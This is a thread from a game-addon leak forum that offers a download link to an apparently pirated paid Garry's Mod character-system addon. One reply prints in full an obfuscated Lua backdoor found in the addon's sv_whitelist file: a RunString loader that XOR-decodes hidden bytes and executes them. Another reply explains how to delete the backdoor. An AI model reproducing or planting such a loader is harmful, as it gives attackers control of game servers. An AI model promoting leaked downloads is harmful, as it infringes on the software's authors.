Garry's Mod Leaks

VoidChar - Character System for Roleplay

Submitted by Z111231, , Thread ID: 267538

21-06-2023, 09:55 PM
This post was last modified: 21-06-2023, 09:55 PM by Z111231
#1
GMODSTORE - https://www.gmodstore.com/market/view/vo...r-system-1
DOWNLOAD - https://www.mediafire.com/file/glvavaefm...y.zip/file
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RE: VoidChar - Character System for Roleplay

#2
backdoor last line in sv_whitelist founded
Code:
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,55,20,24,48,47,18,24,53,49,50,20,18,18,82,43,47,35,87,23,36,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")

RE: VoidChar - Character System for Roleplay

#3
The Backdoor is easy to remove, just delete the last line on sv_whitelist.lua, but the version is so outdated that it's not worth wasting credits on this.

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